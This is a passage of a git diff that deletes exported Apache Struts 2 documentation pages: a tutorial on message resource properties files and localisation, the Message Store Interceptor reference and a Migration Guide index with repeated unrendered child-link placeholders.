-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811894">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811894">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811894">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes you've completed the <a shape="rect" href="form-validation.html">Form Validation</a> tutorial and have a working form_validation project. The example code for this tutorial, message_resource, is avail [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">personBean.firstName=First name
-personBean.lastName=Last name
-personBean.age=Age
-personBean.email=Email
-thankyou=Thank you for registering %{personBean.firstName}.
-</pre>
-</div></div><p>The above is just a standard Java properties file. The key is to the left of the = sign and the value for the key is to the right. When the Register action is executed these properties will be available to the view page by referencing the key name.</p><h3 id="MessageResourceFiles-Struts2KeyAttribute">Struts 2 Key Attribute</h3><p>The Struts 2 key attribute can be used in the <a shape="rect" href="textfield.html">textfield</a> tag to instruct the framework what value to use [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:textfield name="personBean.firstName" label="First name" /&gt;
-</pre>
-</div></div><p>Instead of specifying the name and label attributes you can just use the key attribute.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>textfield tag with key attribute</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:textfield key="personBean.firstName"  /&gt;
-</pre>
-</div></div><p>The value for the key attribute instructs the Struts 2 framework to use the same value for the name attribute (personBean.firstName). For the label attribute's value the value of the key attribute is used by the Struts 2 framework to find a key in a properties file with the same value. So in our example, Struts 2 will look in Register.properties for a key with a value of personBean.firstName. The value of that key (First name) will be used as the label attribute's value.</ [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;&lt;a href="register.jsp"&gt;Please register&lt;/a&gt; for our prize drawing.&lt;/p&gt;
-</pre>
-</div></div><p>We need to change the above link so that it goes through the Register.java Struts 2 Action class. Replace the above with this markup.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>link to Register Action class</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url action="registerInput" var="registerInputLink" /&gt;
-&lt;p&gt;&lt;a href="${registerInputLink}"&gt;Please register&lt;/a&gt; for our prize drawing.&lt;/p&gt;
-</pre>
-</div></div><p>We use the Struts 2 url tag to create a link to action registerInput. We then use that link as the value for the href attribute of the anchor tag. We must define the registerInput action in struts.xml. Add the following to struts.xml.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>registerInput action node for struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="registerInput" class="org.apache.struts.register.action.Register" method="input" &gt;
-	&lt;result name="input"&gt;/register.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p>The above action node instructs the Struts 2 framework to execute class Register's input method in response to action registerInput. The input method is inherited by class Register from class ActionSupport. The default behavior of the inherited input method is to return the String input. The result node above specifies that if the returned result is "input" then render the view register.jsp.</p><p>By doing the above the view page register.jsp will have access to the proper [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;h3&gt;&lt;s:text name="thankyou" /&gt;&lt;/h3&gt;
-</pre>
-</div></div><p>Since thankyou.jsp is also rendered after executing the Register.java Action class, the key thankyou and its value will be available to the view page.</p><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="message-resource-files.data/thankyou.png"></span></p><p>How did the value entered for the first name input field get displayed on thankyou.jsp? Look back at the value for the thankyou key in the Register.properties file.</p><div  [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">thankyou=Thank you for registering %{personBean.firstName}.
-</pre>
-</div></div><p>The markup %{personBean.firstName} tells Struts 2 to replace this part with the result of calling getPersonBean, which returns a Person object. Then call the getFirstName method which returns a String (the value the user inputted into the personBean.firstName form field on register.jsp).</p><h3 id="MessageResourceFiles-PackageLevelProperties">Package Level Properties</h3><p>What if you want a properties file with keys and values that can be referenced from multiple view pa [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">greeting=Welcome to The Wonderful World of Struts 2
-</pre>
-</div></div><p>Now any view rendered by an Action that is in the hierarchy org.apache.struts... can use a Struts 2 text tag with a name attribute value of "greeting" to display the value of the greeting property key. For example add the following markup to helloworld.jsp before the h2 tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using properties set in package.properties</b></div><div class="co [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;h1&gt;&lt;s:text name="greeting" /&gt;&lt;/h1&gt;
-</pre>
-</div></div><p>Then rebuild the war file and deploy it to your servlet container. Go to index.action and click on the link for Hello World. You should see:</p><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="message-resource-files.data/hellogreeting.png"></span></p><p>The property keys and values defined in package.properties are available to any view that is rendered after executing an Action class that is the package hierarchy that includes  [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">contact=For assistance contact &lt;a href='mailto:contact@email.com'&gt;contact@email.com&lt;/a&gt;
-</pre>
-</div></div><p>Save the global.properties file in the src/main/resources folder.</p><p>To inform the Struts 2 framework about the global.properties file add the follow node to struts.xml after the constant name="struts.devmode" node.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Specify Global Property File In struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.custom.i18n.resources" value="global" /&gt;
-</pre>
-</div></div><p>To use the contact key in a view page, add the following markup to index.jsp just before the closing body tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using contact property</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;hr /&gt;
-&lt;s:text name="contact" /&gt;
-</pre>
-</div></div><p>Rebuild the war file, deploy it to your Servlet container, and then go to index.action. You should see:</p><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="message-resource-files.data/contact.png"></span></p><p>Struts 2 will look for a property key of contact in all the property files starting with the property file that matches the Action class, then in the property files that are in the package hierarchy of the Action class, a [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">personBean.firstName=Nombre
-personBean.lastName=Apellidos
-personBean.age=Edad
-personBean.email=Correo
-thankyou=Gracias por registrarse, %{personBean.firstName}. 
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>My apologies to Spanish language speakers for any mistakes in the Spanish translations.</p></div></div><p>Save the Register_es.properties file in the same package as Register.properties.</p><p>In our example application, we need to tell Struts 2 to use a [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">&lt;h3&gt;Registro espa&#241;ol&lt;/h3&gt;
-&lt;s:url action="registerInput" var="registerInputLinkES"&gt;
-    &lt;s:param name="request_locale"&gt;es&lt;/s:param&gt;
-&lt;/s:url&gt;
-&lt;p&gt;&lt;a href="${registerInputLinkES}"&gt;Por favor, reg&#237;strese&lt;/a&gt; para nuestro sorteo&lt;/p&gt;
-</pre>
-</div></div><p>In the above markup we've added a parameter named request_locale to the URL. The value of that parameter is es. The Action class that responds to this URL (Register.java) will see that the locale is es and will look for property files with _es (for example Register_es.properties). It will use those property files to find the values of the property keys referenced by the view page (e.g. personBean.firstName).</p><p>After clicking on the above link you should see the same fo [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/message-store-interceptor.html b/content/docs/message-store-interceptor.html
deleted file mode 100644
index 64ca120..0000000
--- a/content/docs/message-store-interceptor.html
+++ /dev/null
@@ -1,159 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Message Store Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="message-store-interceptor.html">Message Store Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Message Store Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19580">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19580">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19580">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>An interceptor to store a <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=ValidationAware&amp;linkCreation=true&amp;fromPageId=19580">ValidationAware</a>&#160;action's messages / errors and field errors into&#160;HTTP Session, such that it will be retrievable at a later stage. This allows the action's message /&#160;errors and field errors to be available longer that just [...]
-    &lt;interceptor-ref name="store"/&gt;
-	    &lt;param name="operationMode"&gt;STORE&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-	&lt;interceptor-ref name="defaultStack" /&gt;
-    ....
-&lt;/action&gt;</plain-text-body></li><li><p>Through request parameter <code>allowRequestParameterSwitch</code>&#160;must be 'true' which is the default</p><plain-text-body>the request will have the operation mode in 'STORE'
-http://localhost:8080/context/submitApplication.action?operationMode=STORE</plain-text-body></li></ol><h2 id="MessageStoreInterceptor-Parameters">Parameters</h2><ul><li><code>allowRequestParameterSwitch</code>&#160;- To enable request parameter that could switch the operation mode&#160;of this interceptor.</li><li><code>requestParameterSwitch</code>&#160;- The request parameter that will indicate what mode this&#160;interceptor is in.</li><li><code>operationMode</code>&#160;- The operati [...]
-	&lt;interceptor-ref name="store"&gt;
-		&lt;param name="operationMode"&gt;STORE&lt;/param&gt;
-	&lt;/interceptor-ref&gt;
-	&lt;interceptor-ref name="defaultStack" /&gt;
-	&lt;result name="input" type="redirectAction"&gt;applicationFailed&lt;/result&gt;
-	&lt;result type="dispatcher"&gt;applicationSuccess.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;action name="applicationFailed" ....&gt;
-	&lt;interceptor-ref name="store"&gt;
-		&lt;param name="operationMode"&gt;RETRIEVE&lt;/param&gt;
-	&lt;/interceptor-ref&gt;
-	&lt;result&gt;applicationFailed.jsp&lt;/result&gt;
-&lt;/action&gt;</plain-text-body><p>With the example above, <strong>submitApplication.action</strong>&#160;will have the action messages / errors / field errors stored&#160;in the HTTP Session. Later when needed, (in this case, when <strong>applicationFailed.action</strong>&#160;is fired, it&#160;will get the action messages / errors / field errors stored in the HTTP Session and put them back into&#160;the action.</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/migration-guide.html b/content/docs/migration-guide.html
deleted file mode 100644
index 1bed3cf..0000000
--- a/content/docs/migration-guide.html
+++ /dev/null
@@ -1,402 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Migration Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Migration Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13981">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13981">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13981">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Getting here from there.</p><h3 id="MigrationGuide-VersionNotes2.5.x">Version Notes 2.5.x</h3><ul><li><a shape="rect" href="version-notes-2513.html">Version Notes 2.5.13</a></li><li><a shape="rect" href="version-notes-2512.html">Version Notes 2.5.12</a></li><li><a shape="rect" href="version-notes-25101.html">Version Notes 2.5.10.1</a></li><li><a shape="rect" href="version-notes-2510.html">Version Notes 2.5.10</a></li><li><a shape="rect" href="ve [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
